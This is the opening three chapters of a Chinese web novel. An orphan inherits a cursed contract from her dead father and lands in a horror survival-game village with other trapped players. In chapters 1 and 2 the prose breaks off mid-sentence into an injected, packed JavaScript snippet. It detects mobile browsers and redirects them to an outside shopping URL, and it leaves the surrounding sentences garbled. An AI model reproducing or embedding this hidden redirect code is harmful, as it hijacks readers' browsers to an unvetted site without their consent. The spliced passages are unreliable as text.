《以灾厄之名》 1. 第一章 “姐，你明天就要走了是吗？” “嗯。” “去哪儿？” “不知道。” “就不能不走吗？” “不行哦，昨天园长妈妈已经来找过我，最后再收留我一天。天黑之前，床位就要让出来，新人要睡。” “……哦。” 孤儿院就是这样，资源有限，养到成年就算仁至义尽。何况她厚脸皮赖到十九。 园长妈妈没十八就赶她走，已经算很偏心了。 易礼其实早就在做准备。被丢进孤儿院后的每天，她一放学就去捡垃圾。现在九年过去，也是存到一点钱的。但……情况突然发生了点变故，她现在有点茫然。 事情是这样的。 三天前，有个警察模样的人来找她，说是有俱尸体让她认。 易礼作为一个孤儿，在孤儿院都十多年，确定自己没亲人。但对方声称死者极有可能是她失踪多年的父亲，需要她务必认领走。 易礼寻思着爸不爸的不重要，说不定有遗产可以继承，就跟他去了。 确实是认尸，那警察直接将她领到太平间。指着停尸床上盖着一块白布的人就让她认，看是不是她爸。 易礼掀开白布瞄了一眼，确实是。 这张脸化成灰她都认得。 她爸走得时候，她已经记事儿。更何况她爸当初丢下她逃走得特别不体面。把她往孤儿院门口一扔，笑嘻嘻地说去给她买瓶奶，转眼就消失无踪。 现在这么多年过去，再看到这张脸，好像没什么变化。除此之外，身上连个钱包都没有，就更别说给她留什么值钱的东西。 “对比过DNA，是父女关系。” “……哦。” 原来是亲生的啊……当初这老东西扔她扔的那么爽快，她还以为她是他捡来的呢。 易礼好失望，但又不能表现出来，于是就沉痛地点了头。 警察见状那叫一个大喜过望，那一瞬间，易礼感觉四周空气都骚动了，恨不得全太平间的人都拉礼炮庆贺。仿佛解决了一个什么大麻烦。 易礼心里还奇怪，认个尸而已，又不是发现珍稀物种，搞这么激动做什么？ 旁边的法医姐姐这时候才哆哆嗦嗦地告诉她，自从她爹躺在这，警局已经出现十六起灵异事件了。警方比对了dna数据库，大数据研判，全国人口信息管理系统……好不容易才找到直系亲属。就是为了尽快处理掉他。 易礼是个坚定的科学主义接班人：“什么年代？还有灵异事件？” 这个问题问出口，太平间的温度就瞬降十几度。半天没人说话。连法医姐姐都没给出专业解释。大家都很唯物主义科学观地忽略了她的问题，并询问易礼能不能即刻安排火化？ 死者直系亲属已经找到，且不属于凶杀，按理说是应该尽快处理。 易礼发现没有遗产可以继承，很麻溜地就签了字。 万幸，引起多起灵异事件的她爹能烧掉，没半路诈尸。不幸的是，易礼抱着骨灰盒从火葬场出来时，差点没被自己穷哭。 十年废品那点积蓄，他爹的一把火给她烧没了99%。剩的十几块钢镚儿，还是因为火葬场的阿姨看她实在可怜巴巴，给她留了吃碗面的钱。 易礼站在大街上被深秋的寒风来回扇脸时，想起火葬的小哥一脸惊讶地告诉她她爹骨灰居然是金色的，问她爹是不是个不知名高僧并向她索要六千块火化费和骨灰盒费，就恨不得时间能倒流回三天前。 早知这坑货的爹会掏空她的家底，当初警察来找她，她肯定装不认识！ 什么金色舍利子？ 这坑货别是金属中毒死的吧？！ 想一下都后悔，心在滴血！她的血汗钱！！捡垃圾九年存的血汗钱！！ 深吸一口气，将嘴里的一口血咽回去。抬眸看着灰蒙蒙的天，还是没忍住比了个中指。西边天空被霓虹染成了玫红色，厚厚的云层中电光游走，雷声阵阵。空气中一股甜丝丝的雨腥气。 易礼叹了口气，半死不活地回宿舍打包行李。 唉，本来应该从从容容游刃有余，结果没钱只能匆匆忙忙连滚带爬！ 天快黑了。 太阳花孤儿院是本地一个非常小的公办孤儿院，孤儿多，资源少。一个寝室住六个人。同寝的花枝和晓曼舍不得她，小尾巴似的跟在她屁股后头，一路跟到大门口还拉着她胳膊不放。 “……姐，你还会回来看我们吗？” “回的。”易礼揣口袋的手摸着兜里的几个钢镚，心里盘算着今晚睡桥洞还是找个公园躺椅。 再一看天，晚上估计得下大暴雨，得，还是桥洞靠谱，心不在焉地点点头：“等姐赚大钱了，把你们都接过去，跟着我吃香的喝辣的！” “我俩不用吃香的喝辣的，姐给口饱饭吃就行！” 花枝和晓曼今年十六了，过两年也得走。 易礼知道她俩心里慌，笑道：“那要求还是太低了！你姐我是什么人？咱可是太阳花孤儿院最聪明的人！我还能赚不到大钱？都瞧好了吧！保不齐三年路虎，五年玛莎拉蒂。等都安顿好了再告诉你俩位置。你俩到年纪大了，都搬来跟我住。” 两人听到易礼这么保证，当即不哭了，喜笑颜开。 太阳花孤儿院的孩子们都知道，易礼姐姐虽然没比他们大多少，但比园长妈妈和保安叔叔还靠谱。她说过会罩着他们，就一定会的！ 雨丝飘下来，水坑里出现细小的涟漪。 “行了，你们都回去吧，我走了。”易礼抗上蛇皮袋，迈腿就要走。 “姐，就算人回不来，记得打电话。我们会想你的。” 花枝和晓曼依依不舍。 “知道了。” 易礼一手夹着叮呤咣啷的破烂一手朝后摆了摆，大步离开了太阳花孤儿院。 天彻底黑下来，街上霓虹闪烁。一阵雷声轰鸣，不一会儿，大雨哗啦啦地就降下来。雨水落在坑洼的水泥地上，在天地之间连起一层薄雾。 易礼穿着太阳花雨衣站在便利店门口等雨停时，一辆警车停在了她面前。 “易礼是吗？” 警车车窗放下来，一个胖胖的中年警察从车窗里伸出脑袋。红红蓝蓝的闪光刺得人眼睛疼。 “对。” “我是鑫华警局刑侦大队特殊专案组的警察，我姓张。有个东西忘了给你。” 那胖胖的警察试图从车窗递出来，但他真的太胖了，没成功。他尴尬得胖脸涨红，笨拙地把脑袋缩回去，下车小跑过来：“这是我们在你爸尸体旁边发现的，一直存在物证室。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673758|188643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才值班人员收东西的时候才想起来。不好意思哦……” 易礼有点懵，自己那六千三花的不算亏，真有遗产？ “东西交给你了，你自己收好。”老警察头上没几根头发，淋了雨，看起来就更稀疏了。跟条形码似的：“后续要是有什么问题，尽管来警局找我。” 说完，他左右拽了两下皮夹克，又小跑回车里。 易礼低头看着怀里的小包，将蛇皮口袋夹在胳膊下，找了个能挡雨的地方打开。 里面是一把钥匙，一个瓶口塞得特严实的空玻璃瓶和一份合同…… 易礼把东西都拿出来，一一摆在面前。空瓶子就不说了，盖子打不开，拧得太紧了。钥匙跟个中二黑魔法手杖似的，还是骷髅头造型。三个东西里，就这份合同看着像点样子。 封面上写了‘合同’两字……没了？什么合同？没点定语前置？ 就见封面印着‘合同’两个大字的文件下方，赫然是一只巨大的怒目圆睁的猩红眼球。 没有上下眼睫，无眼睑包裹，血淋淋的仿佛沾着滑腻腻组织液，筋膜外漏，连接着粗壮的血管。连个上下眼睑都没有的眼珠子…… “什么东西？” 到底是什么样的草台班子才能这么中二的合同？ 不过，死前放在身边的东西，总不是还是个糊弄人的玩具吧？ 易礼仔细思索了下，觉得以她爹那神搓搓的德行……也不一定。 合同里是白页。易礼的手指在空白的纸张上搓了一下。纸质细腻绵软，不像纸制品，倒是有点像人类的皮肤。她心里一紧，从合同夹层里掉出一封信。 她爹写给她的遗书。 就三句话，说家里有个祖传商店，问她要不要。要的话，就在合同最后一页签上大名并按个手印。按了手印以后，契约已成，退不掉。 虽然不知道是什么商铺，但祖传的哎！ 什么东西如果质量不行会祖传下来？所以必然不是骗人。 易礼想都没想，咬破手指头就往最后一页怼了个手印。 手印怼上去的瞬间，易礼的身边就弥漫起了淡淡的灰色雾气。从浅到深，逐渐转变成黑灰色粘稠的瘴气，迅速遮掩了易礼眼前车水马龙的世界。 呜~ 易礼听见风声骤起，耳畔响起无数诡异又渗人的窃窃低语。用一种听不懂的言语，一句话叠着一句话，杂乱无序却能急迫狰狞，仿佛要钻进她的脑子里。 下一秒，地面长出无数只手。 一只一只，疯狂叠加，层层叠叠前仆后继地向易礼身上抓起。 毫无预兆的突变，易礼头痛欲裂，躲闪不开。 浓雾从灰色晕染浓黑，她眼前一黑，陷入黑暗。 …… 再睁眼，站在了一个高耸入云的建筑物前。 黑色的宛如中世纪的古堡狰狞阴森，浓雾笼罩大半，看不清建筑物的全景。巍峨的古堡正门，一扇高大十米的哥特式镶金属红褐色实木门。门正中心的位置，赫然是一只冷冷蔑视一切的猩红眼球。耳边奇怪的呢喃不断的重复：黑暗终究降临，吞噬大陆，重现灾厄…… 我主不日归来，眼睛不见鼻孔…… 易礼捂着耳朵看看眼前奇怪的古堡。 祖传商铺？ 就这？ 2. 第二章 讲道理，她这人的胆子向来是很大的。但这个地方确实有些奇怪。易礼捂着快炸裂的头，一步一步走近古堡。浓雾覆盖之地，刺入骨髓的阴寒令人灵魂战力，空荡荡的仿佛看不到尽头。 浓雾深处，不知何时响起钟声。风声越发凄厉，病态的嘶吼在耳边狂欢。 易礼深吸一口气，开了门。 沉重的镶金属木门发出吱呀一声老旧的声音，里面的灰雾更浓，浓厚到仿佛伸手就能抓到实体。伸手抓了两把，没有奇怪气味，也没有颗粒感，不是雾霾。 易礼没有贸然进去，站在门口往里探：“有人吗？” 回音跟开了混响似的层层叠叠的回声，传回耳中时震耳欲聋。 这里似乎是一座露天神殿的废墟。倒塌的石柱和残垣断壁，到处是砸回的碎石。几根矗立在浓雾之中的猩红石柱，凌乱地分布在大厅。 大厅上不封顶，往里走，有个巨型的长桌，长桌两侧对称摆着高背石椅。正对着石桌的方向，一只与门外眼球一样的巨眼雕塑高悬半空。筋膜外露，血管延伸，一直延伸到雾气深处。石柱的顶端或蹲坐或盘旋着一个又一个巨大的狰狞怪物雕塑。 佝偻的六翅鬼面怪，十二只眼睛的巨型狒狒，一半骷髅一半人脸的十二翼堕天使，满头蛇的美人鱼……每尊石雕都被一条条粗壮的锁链穿过肩胛骨给捆住。从顶端一直缠绕，深入石柱之中。 “奇怪的地方……” “别告诉我这是我家的商店？我家是卖雕像的？这么不接地气？” 就在易礼研究这个地方跟祖传上商店有什么必然联系的时候，敞开的门突然砰地一声都关上。她意识到不对，迅速跳下桌子冲回门边。但门此时已经完全合上，使出吃奶的力气也打不开。 很好，坑的气质已经显现。 易礼蹲在地上，冷静地骂了句爹，开始思索接下来该怎么做。 石雕，石柱，圣殿……这里该不会是搞邪教祭祀的地方吧？ 易环顾四周，目之所及的区域，要么被阴森森的浓雾掩埋，要么就被奇怪的壁画阻挡。壁画的内容很简单粗暴，在讲述一个名为灾厄的神祇被众人分食，神力散落人间，从此灾厄横行的鬼故事。 易礼是个坚定的唯物主义者，对神话故事的兴趣只停留在能不能让她赚钱的层面上。她很快放弃观察壁画，开始观察起这些雕工精美的雕塑。每尊都不一样，毛发和表情都栩栩如生。看材质，不像石膏制品，反倒是像什么生物的皮肤。 不得不说，这个认知让易礼有种不祥的预感。 迄今为止，她还没发现世界有向着诡异方向发展的倾向，但现在的情况也确实有些超出认知。将她爸的骨灰塞回小腰包系在腰上，看向浓雾深处。 出不去，只能往里进了。 正当这时，寂静的神殿中突然响起锁链剐蹭的声音。 哗啦啦—— 她朝声响方向看去，响动停了。 “幻觉吗？” 下一秒，锁链哗啦啦地剐蹭石柱，石柱的碎屑扑簌簌落下。 易礼确定没看错，这才发现四周的雾气流动，而蹲在石柱顶端的那只似人非人的石雕眼睛睁开了。猩红的眼睛在灰雾之中发着红光，阴森渗人。 只一瞬间，那半人半蝙蝠的怪物发出一声尖啸，朝易礼飞扑而来。骨翅张开，狰狞崎岖如放大了二十倍的蝙蝠，飞行速度极快。大张着咧到耳根的大嘴，腥臭的嘴里全是细细密密的尖牙。 易礼懵了，但身体却快过大脑，迅速弹跳躲开。 尖啸夹杂腥臭的风，刚才易礼蹲的地方，瞬间被啃出了一个大坑。 嚯！ 那东西身上还缠着锁链，但石柱撑不了太久。它每扑一下，柱身裂缝就越大。那丑东西一张脸上六只眼。此时六只眼无序地乱滚，猩红的眼睛里全是对血肉的渴望。口中往下不停地滴着涎水，落地就是刺啦一声，竟还带腐蚀性！ 易礼懵逼但迅速爬起，头也不回地向灰雾深处跑去。 活的？！ 那些雕塑竟然是活的！她确实是不相信什么鬼怪，但……你开什么玩笑啊啊啊啊啊！！！！！ 易礼崩溃的狂奔，调动浑身肌肉冲向迷雾深处。 完全分不清方向的灰雾，脚下是冰凉的大理石地板。身后的翅膀扇动空气的风啸声不停，锁链碰撞的噼里啪啦……她十分崩溃，老登害我！！！ 心跳如擂鼓，易礼只能赌那只怪物受铁链的束缚飞不了太远。且逃跑的过程中她完全不敢回头。 毕竟小命只有一条！她还没发财呢！ 空旷的浓雾深处，只有自己啪嗒啪嗒的脚步声和心跳，易礼完全不敢停。她现在陷入了一种毫无根据的茫然。不知道怎么回事，也不知道为什么会这样，到底这一切都是什么。但，退回去开门是不可能的，那几百根石柱上的怪物，只要再苏醒一只，她铁定玩完。 一刻不停地向前跑着，易礼又累又饿。感觉跑了至少一个多小时，身后再也没有奇怪的声音，她才扶着膝盖停下来观察。 …… 这才发现情况有点不对劲。雾不知何时散去，她出现在一座不知名的山头上。 环视四周，都是树。 黑洞洞的，张牙舞爪的岑天树木，而且基本都是针叶树木……等等，针叶林？这里是寒温带地区？W市在亚热带，不对劲！！ 天已经很黑了，四周一点光亮都没有。 她拨开雨衣下摆，迅速摸了衣服裤子的口袋。除了她爹的骨灰和空瓶子，连个打火机都没有。要是有，她一准把她爹的骨灰给点了当火把用！兜里有两块水果硬糖，一根火腿肠和两袋葱香味苏打饼干，她刚从便利店买的…… 不祥的预感越来越重，易礼绕着山路走。但不知道怎么回事，却一直在一个地方打转。她记性向来很好的，眼前这棵绑红绳的歪脖子树，她至少看见四回了。 “鬼打墙吗？” 那没办法了，每个方向标记一下。绕回来再倒着走。 这是易礼兼职的时候，经常用到对付鬼打墙的办法。虽然她是个坚定的唯物主义者，但偶尔民俗方法也可以适用。 …… 尝试了几次，再饶过歪脖子树，她的前方第一次出现了朦胧的火光。 新道路？ 易礼心中一喜，不由加快了脚步。 脚下的地逐渐变成了湿润的泥土，笼罩在身边的雾气散去，阴郁绵雨丝丝缕缕往下飘。雨水沾在人身上，一股阴冷的气息深入骨髓。易礼顺着火光方向靠近，大约走了半个小时看见了村庄。 此时此刻，村口的石碑旁，正站着一群人。 男的，女的，年轻人，中年人都有，四男四女，一共八个。其中四个看起来是高中生，还穿着校服。他们齐刷刷地看向一个人从山路尽头走过来的易礼，眼神警惕：“新人？” 易礼：？ 不知这群人是人是鬼，对方同样也警惕突然出现的易礼，双方都很紧张。其中有一人，默默握紧了手中的折叠刀。 易礼眼神一暗，不动声色的摸了口袋。面上却一脸单纯无辜：“你们是谁？这里是哪儿？” 对峙了将近一分钟，其中一个看起来是领头人的男人站出来。 他身材高大，穿着有点掉皮的旧皮夹克，胳膊和大腿肌肉紧绷绷的，很有力气的样子。方正的脸五官端正，眼角鱼尾纹很深，饱经风霜的老练。 他刚要过来就被身边的女人拉住：“别过去，霍哥，她不太对劲。咱们都是坐村口大巴来的，她一个人从山路，说不定就是……” 其他人没说话，防备的姿态很明显。听女人说完，看易礼的眼神明显更惊惧。 迷惘，疑惑和隐藏不住的恐惧弥漫在这群人中。一个女孩儿脸色惨白，抱着双臂不停地摩擦。他们看起来装备齐全，像登山客。 易礼眼神迅速略过所有人，直直落到看起来最正常的领头人身上。 “放心。”那男人安抚地拍拍身边的漂亮女人，转头看向易礼：“穿着雨衣，她不是村里人。” 情绪紧绷，没人注意到易礼的穿着。被那男人点了一句，他们才注意到易礼的黄色塑料雨衣。拄着根树枝，看起来风尘仆仆。 “你们知道怎么走出这里？” 易礼窘迫的样子，让一群人紧绷的情绪平和下来。 “又是一个倒霉鬼。”那个缩在人群后头的消瘦男人小声嘀咕。 易礼不解：“什么意思？” “没什么。你看来像是个新人。第一次下本么？”领头男人笑了笑，道。 “下副本？……直播类真人秀？还是探险游戏？” 易礼虽然没咋玩过网游，但男人这么一说，她下意识就想到这。 她四处打量了下，没看到摄像头。 “别看了，没有摄像头。你的系统没有入场解说么？” 易礼心咚地一声跳动，立即意识到不太对。 她舔了舔干涩的唇，没贸然开口。目光不着痕迹地扫向霍张身后那群人，看这群人的表情，似乎拥有直播系统是一件很正常的事。 这里是什么直播现场？表情这么绝望，直播内容恐怕不简单。 “有，”易礼无辜地皱了皱鼻子，“可我以为是恶作剧，就给关机了。” “你的系统能关机？？” 易礼心一紧，面上不动声色：“你们的不能吗？” 几人面面相觑，懵懵地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673759|188643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头。 显然，这群人应该不是什么经验丰富的老手，被易礼的话给唬住了。 “系统关了，你要怎么算积分？没积分，开不了商城。” 商城？！ 易礼心跳的很快，表面上却还是一副无辜的模样：“我不知道，我第一次遇到这种事。” 霍张见易礼年纪不大，好心多解释几句：“小姑娘，你试试看，能不能将你的系统重新打开。我们现在下得这个副本不简单，没有道具和任务提示，你可能开场就得凉。” 易礼的神色在一瞬间凝滞。 她没系统啊！她是从神殿跑出来的，哪儿来的系统！ “为什么会被选中来玩游戏？标准是什么？我不记得我有接触过什么不正常的人……” 等等，那个合同。坑女儿老爹的遗物。易礼的话戛然而止。 易礼的停顿，所有人都感受到了。 大波浪大红唇的美艳女子冷笑：“为什么会被选中？呵~当然是因为作死！” 梁琼在确定她不是鬼怪后，就十分不耐烦。她是连过三个副本的老人，长期在生死边缘游走已经击垮了她的社交礼仪。此时，她表露出完全的厌人姿态。尤其厌恶什么都不懂的新人！ 因为通常这种新人，不懂副本的可怕又自命不凡，总是能将局面搞得一团糟。 “作死？” “霍张，刑侦大队的刑警。三个月前，因为追查一桩灵异案件被卷入直播。”领头人说：“梁琼，网红，三个月前因探灵直播被缠上。至于其他人……” 霍张眼神扫过去，四个高中生眼神闪烁地低下头。 他们就不同了，他们是纯作死，玩笔仙。 至于站在人群最后头的一对中年男女，浑身脏兮兮的，眼神里透着血腥气。基于刑警的直觉，大概率手上沾过人血。估计是因为杀了人才被选中。 霍张的眼神暗了暗，“你呢？最近有没有遭遇什么奇怪的事？” “奇怪的事……” 收到她爹的遗产算吗？ 还有一个长着巨大眼球的合同，她刚才咬破手指，往上面怼了个血手印。 “我爹死了，警察让我去认尸。据说警局闹鬼。”萍水相逢，相信对方也不会完全相信她，易礼言简意赅地给出了自己的理由。 “……哦。” 果然是个倒霉鬼，大大的倒霉鬼！ …… 易礼的加入没有让士气振作，但也聊胜于无。 毕竟多个人多个肉盾，真到弹尽粮绝的时候，推个菜鸟去挡刀也是常规操作。 “副本一般不是必死局，只要找到突破点就有办法活下去。” 霍警官说，“比如说，前两天默认不会死人。副本既然要求有观赏性，给玩家搜集线索和准备的时间就必须要有。副本里的东西被称之为‘鬼’，其实跟民间传说中的人死后形成的恶灵完全不同。它们更像是一种特殊能量形成的精神体。几乎没有智力，能产生实际性的伤害，不能被消灭。不同的鬼怪遵从不同的杀人规律，不触发之前不会死，一旦触发，必死无疑。所以玩家找到鬼怪的杀人机制是很重要的，能大大提升存活率……” “我们这次下得这个本比较凶，副本提示要仔细研究。” “什么提示？” 易礼立即解释道：“我系统还没打开。” “……” 梁琼不是很喜欢易礼，这个女孩儿给她感觉很怪：“要不还是分开走吧？她什么都不知道，跟着我们只会拖累我们。” 其他人也露出了同样的表情，显然不欢迎拖后腿的。 霍张表情有几分为难，现实中，他是个警察。警察该有的正义感，他也有。在不危及自己生命的时候，他其实更偏向于帮助普通人。虽然大家不满，但他还是告诉了易礼一些有关副本的信息。 “这次的副本名字叫【慈母悲歌】，是一个生存本。难度会比较大。因为支线可不完成。”霍张说着，将详细信息也告知了易礼。 “提示词：【1.母亲的爱如绵绵细雨，无论久长，永远不灭。 2.误解和猜忌让我们兄妹之间的感情越发淡泊，仿佛难以逆转的潮流一样无法挽回。 3.你说，母亲是更爱你，还是更爱我？】 【主线任务：请玩家在黄冥村存活七天。 支线任务：1.寻找失踪的黄玲花。2.查清楚黄冥村的真相（可不完成）。】 要求我们活到副本第七天。只要成功活下来，灵异大巴会抵达村口。上了车，就能在睡梦中回到自己所在的城市。” 霍张深吸一口气，“鬼怪的能力会随着时间复苏。拖得越久，对我们越不利。进村吧。” 3. 第三章 映入眼帘的是一个破败的村庄，村子里道路崎岖，最大的一条路也是土路。阴雨绵绵的天气笼罩下，土路泥泞不堪。每走一步，都十分艰难。 这一路，两个高中女生因为觉得天儿冷，为了一把雨伞谁用吵起来。梁琼本就有火没处发，新人还有心情吵架就更让人烦躁。她一吼，队伍瞬间就安静了。 大家你看看我，我看看你，安静如鸡。 两个高中女生脑袋垂得低低的，生怕惹恼了老手被赶出队伍。 梁琼冷哼一声，如果不是因为霍张的职业病犯了非要带着这群人，她根本就不想带上累赘。 一共九个人，一个系统都没开的傻子，四个勉强混到了第二个副本的高中生。两个一看就是杀人犯的家伙。这个副本坑的不是一点两点。这群人不仅生存经验少得可怜，连基本的情绪控制都做不到。到时候会惹出什么麻烦，可以想象到。 其他人也看出了梁琼不想带他们，这下就更安静了。 霍张对梁琼的态度不置一词，拿着手电筒走在队伍的最前面。 进了副本，每个人随身携带的物品都有限。毕竟玩的是命，负重太多会不方便逃跑。一般来说，不会超过四样，也有例外，就像霍张。他体能比普通人强很多，又经验足，准备比较充分。他背了一个看起来很大的双肩背包，手电筒就是他带的。 “提示信息并不能涵盖所有内容，一般来说，支线任务也是其中一环。” 霍张说：“我们通常是支线，主线一起推。毕竟错失一个细节就可能错过主线线索。任何时候都要细心谨慎。否则，怎么死的都不知道。” “跟她说那么多干什么？” 梁琼目光环视四周，警惕得像个黑夜里的猫：“她能不能活过这个副本还难说。” 梁琼毫不客气地丧气话，让气氛更加僵硬。 易礼收回视线，看向她。梁琼冷冷地勾着嘴角，旁边霍张友好的笑笑：“事关生死，大家神经都绷得很紧。” “理解。” “看你年纪不大，还是学生？” “是，不过目前不算了。”易礼拄着树枝，脚尽量避开水坑：“休学一年，正在打零工挣学费。” “野外生存能力不错，我看你是从山上下来的……”霍张仿佛随口聊天，问话却不经意间就切入重点。 易礼仿佛没注意到，但一旁梁琼突然看她一眼，表情变了变。 玩过副本的都知道，这种山村本，山里会比村子更危险。这女孩儿毫发无损地从山上下来，本身就是一件稀奇事。 “对。”易礼点点头。黄冥村不大，估计有七八十户的样子。一路走来，除了几家有人，大部分处于空置状态。还别说，真有点鬼村的感觉：“我一个小时前刚从后山过来。” “一个人？” “嗯。” 霍张倒吸一口气：“你在山里，有没有碰见什么？” “很多奇形怪状的树算吗？浓雾覆盖之下看不清前方道路，在里面容易鬼打墙。”易礼没说鬼打墙，但该懂得都懂，“哦，对了，村尾的山脚下靠养猪场那边有口井。” 提到关键地点，众人都看过来。 显然，对于刚来的其他人，易礼提供的信息就非常重要。毕竟副本的点可不是那么好踩的。 “井？” “对，那种老式的大口井。井壁附近长满青苔，看起来很滑。井口被一个大石块堵着。我感觉有点不太对劲，就绕路来村头了。” 霍张张了张嘴，有点不知说什么好。 他看着易礼，终于感受到梁琼说的这姑娘古怪。 她太淡定了。淡定得超出正常人的范畴。突然遭遇这种怪事，眼前这小姑娘口齿清晰，情绪稳定。跟出来郊游似的。还负重背了一堆破烂。这要不是天生神人，就真的处处诡异。 霍张面上却不动声色：“你是做什么的？力气不小啊背这么多东西。” “我？捡垃圾的。” “捡垃圾？” “嗯。还兼职收破烂。”易礼眼神闪过一丝诡异，无辜地咧嘴笑：“顺道再干点体力活。” 收尸啊，帮人挖坑埋尸啊什么的，大概也算体力活？ “哦，这样啊……”霍张心中思量起来。 他十分肯定，眼前这是个外来人。并且口音挺南方，估计长江中下游这一片的人。 这姑娘，要么天生气运不一般，要么就是有过人的本事。无论占哪一样，都是优势。队伍里多了这样的同伴是好事，意味着全队的存活率变高了。 他思索片刻，于是不介意跟易礼提示的更多：“你没开系统，我就多说一点。” “这次副本给我们的身份是警察，被派来调查一桩失踪案。S市有个叫黄玲花的女人半个月前失踪了，她的丈夫声称，黄玲花在失踪之前曾来过娘家。也就是咱们现在所在的村子，黄冥村。警察来问过几次，黄家的兄弟都说她早就回去了。但就是不见黄玲花身影……” “霍哥，灵异大巴是准点到吗？” “对。一般副本就会起雾，灵异大巴会从浓雾中开出。上了车就能安全离开副本。鬼怪不能上车，也无法攻击大巴。” 易礼懂了，靠她，走不出去，得上那辆车才行。 不过，这有个前提，她能上去那辆车才算。思索了几息：“如果不是这辆车的乘客，上了车会怎么样？” 易礼话一说完，其他人全部警惕地看向她。 “副本玩家不可能上不去。” 面对众人隐隐的敌意，易礼无辜道：“我只是想搞清楚上车的限制条件。相信你们也知道，灵异大巴就像一个安全所。如果我们能躲进去，等六天过去，副本不就自动通关吗？” “你想得美！大巴只会在任务结束的时候出现，其他时候，想都不要想！” “好吧。”易礼遗憾：“看来钻不了空子。” 梁琼白了她一眼。 霍张却盯着她看了一会儿，意味不明道：“正常来说，不是大巴的乘客大概率是看不见它的。但我想，如果你有办法上去，应该就是能被带出去的。” 易礼眼中微光一闪，无辜地笑：“我当然能上，我是玩家不是吗？” 此时此刻，在易礼看不见的游戏大厅。霍张的直播间内，弹幕早已炸开了锅。 所有人都在猜测，这个突然冒出来的女孩儿到底是个什么东西。 他们根本不相信霍张的判断，对于没有经过大巴接送的人形生物，都抱有绝对的怀疑。弹幕纷纷攻击起霍张，觉得他都倒霉到来下副本了，还扔不掉顽固的圣父心！等死吧！反倒是梁琼的直播间，弹幕都在夸她够谨慎。 不过副本内的玩家却看不见弹幕，只埋头往村子里走。 …… 他们的脚程很快，为了在天黑之前找到落脚地，没人敢掉队。 很快，他们的面前出现了一个看起来像是村委会办公室的建筑物。老旧的两层平顶楼，外墙白石灰已经被雨水的痕迹染得斑驳，墙体上用红色油漆写了：村委办。 这个点，村委办还亮着灯。 一行人当即大喜，推推搡搡的就要进去。 易礼迅速跟上队伍，正准备进院子，突然脚步顿住。有一种被什么东西窥视的感觉。 她回头看向黑暗深处，风吹草木沙沙作响。 乌云半遮着月亮，雨丝在夜空中拉出银白的丝线。村委办的灯火昏暗摇晃，仿佛在风雨中飘摇。众人在雨中走了将近一个小时，早就被雨水淋透。冰寒的气息从皮肤表层一点点渗透到骨髓中，冷得人不住地打颤。 霍张看了眼手表，晚上八点十四分。 正当这时，紧闭的村委办大门吱呀一声打开。一个穿着老旧蓝色中山装，皮肤黝黑、身材略有几分佝偻的中年人缓缓地走出来。他手里拿了个手电，走到众人眼前。 “你们是镇上来的警察吧？” 那中年人脸色在灯光的照射下惨白无血色，眼神黑洞洞的：“我自我介绍一下，我叫黄忠贵，是村委办的主任。等你们很久了，没想到你们竟这个时间点才过来。” 众人没有说话，都将目光投向霍张。 “村里大小事务，都是我来操持。我家就在村委办隔壁，各位要是有什么事，都可以过来找我反应。黄玲花家的事情我知道得不多，不过能回答的，我尽量回答你们。天色不早，警官们估计都累了。” 黄忠贵扯着嘴角，“村里给几位警官准备了住所，都跟我来吧。” 霍张点点头，率先跟上去。一行人才跟上黄忠贵。 村委办从正面看，就是个两层的砖瓦房。但绕到后面，才发现别有乾坤。后面的建筑物至少三层，看起来像旧社会的驿站土楼。里面灯也很昏暗。黄忠贵打着手电筒走在前面，一路都是半人高的草。人从其中穿过，能擦一身的水。 霍张一路都在看时间，走过来大概需要五分钟。 “年轻人就都跑去城打工挣钱去了，村里的老人没了以后，屋子就空了。” 黄忠贵开了灯，又给每人发了一把钥匙：“招待所前几天刚打扫出来，钥匙上贴了号码，号码就是房间号。整个楼都通了电，也不缺热水，后面还有个食堂。这几天，村委办安排村民轮流来做饭，一天两顿，早上8：30~10:30，下午4:30~6:30。这个时间，已经过了饭点。警官们要是饿了，只能自己动手做。食材有，但条件有限，还请警官们多担待。” “村子里好些年不来外人，以防你们乱走出事，我给你们提个醒。” 黄忠贵道：“山上有狼，经常夜里下山来找吃的。如果没什么事，尽量不要去后山。” “黄玲花的娘家在村子南边，靠近养猪场的小楼房就是黄家几个兄弟的。黄毅在那边搞了个养猪场，这几年赚了点钱。不过他这个人脾气不好，不喜欢村里人去养猪场附近，就怕有人偷他的猪崽……” “另外，村子最近正值雨季，雨水较多。警官们出门注意带伞，被冻病了可没有医生。” “食堂的食材都是村子里村民送来的，要做饭的话，就尽快。招待所没有冰箱，饭菜放久了就坏了。我们村里人种地不容易，可不能浪费粮食。” “身上有贵重物品，警官们要自己保管好。虽然我们村里民风淳朴，但出门在外，这种事也要叮嘱好。真丢了东西，找我们村委办，我们也没本事找回来。” 说着，他抬头看了眼大厅挂墙上的时钟，一拍手就想走：“哎呀！已经这个点儿！就不耽误你们了，休息吧。” 见他要走，霍张连忙上前拦住。 “还有什么事？”黄忠贵脸上飞快地闪过警惕，但很快又压下去。 “没什么，不要紧张。”霍张一副笑容可掬的样子，“今天到得晚，我们警方也不方便开展工作，总得问几个问题。你们一个村的，主任你又是村里的干部，应该知道不少黄玲花家的事吧？既然都送我们到这里，不如给我们说说情况。” “我虽然是村主任，管得大都是办公室里的事。村民家里的私事，我是说不清的。” 